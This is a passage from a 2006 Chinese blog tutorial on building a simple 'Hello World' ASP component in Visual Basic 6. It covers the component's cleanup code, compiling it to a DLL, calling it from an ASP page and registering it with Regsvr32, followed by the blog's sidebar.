OnStartPage是相反的!OnStartPage是创建对象,OnEndPage是消毁对象.

Public Sub OnEndPage()
Set MyScriptingContext = Nothing
Set MyApplication = Nothing
Set MyRequest = Nothing
Set MyResponse = Nothing
Set MyServer = Nothing
Set MySession = Nothing
End Sub

SayHello方法
我们来建立一个子函数,用于显示"Holle World".这个SayHello方法只是
HelloWorld这个类中一个子函数,我们以后会在ASP中用以下的显示这个方法


〈%
Set ObjReference = Server.CreateObject("Example1.HelloWorld")
ObjReference.SayHello
%>

SayHello的程序,很简单的!

Public Sub SayHello()
MyResponse.Write ("Hello World")
End Sub

现在一个小型的组件编写完成,剩下的工作就是编译这个组件,在"工程"菜单中保存它,取什么名字都可以,我们用Exmaple1.vbp吧! 然后就用在菜单中选择"make
exmaple1.dll",将其编译成DLL文件.一个组件就真正完成了!


注意,编译了此组件那么你就得先把你的PWS关掉,然后再编译此组件.否则VB就会告诉你些组件在使用中.

在ASP中使用我们的自己的组件.

当你更正了在编译中的错误,成功地编译了example1这个工程,现在你就得拿出你最喜欢的HTML编辑器来写下下面的语句,保存为ASP文件.


〈HTML>
〈HEAD>
〈TITLE>Example 1〈/TITLE>
〈/HEAD>

〈BODY>

〈%
Set ObjReference = Server.CreateObject("Example1.HelloWorld")
ObjReference.SayHello
%>

〈/BODY>
〈/HTML>

运行后即可看到结果:

Hello World

注册组件

如果你想和你的朋友,邻居分享你的组件,那么你就得在你的系统上注册你的组件.我们一般使用Regsvr32.exe来注册组件.注册后你的组件会出现在Win95/Win98的
windows/system目录中.下面是一个注册的例子:

Regsvr32.exe C:/wwwroot/Example1/Example1.dll


在你的系统中,VB会自动给你注册,所以你很少用到Regsvr32.exe

我们这里只是写了一个非常小的组件,你们可以写好自己的更大的组件,而且还可以用VB中的很多控件.

posted on 2006-07-19 11:19 汪杰 阅读(381) 评论(0)  编辑 收藏 引用
只有注册用户登录后才能发表评论。

<2009年7月>
2829301234
567891011
12131415161718
19202122232425
2627282930311
2345678

常用链接

留言簿(15)

随笔分类(1)

随笔档案(90)

文章分类(727)

文章档案(712)

相册

收藏夹

http://blog.csdn.net/prodigynonsense

友情链接

最新随笔

搜索

  •  

积分与排名

  • 积分 - 468991
  • 排名 - 6

最新随笔

最新评论

阅读排行榜

评论排行榜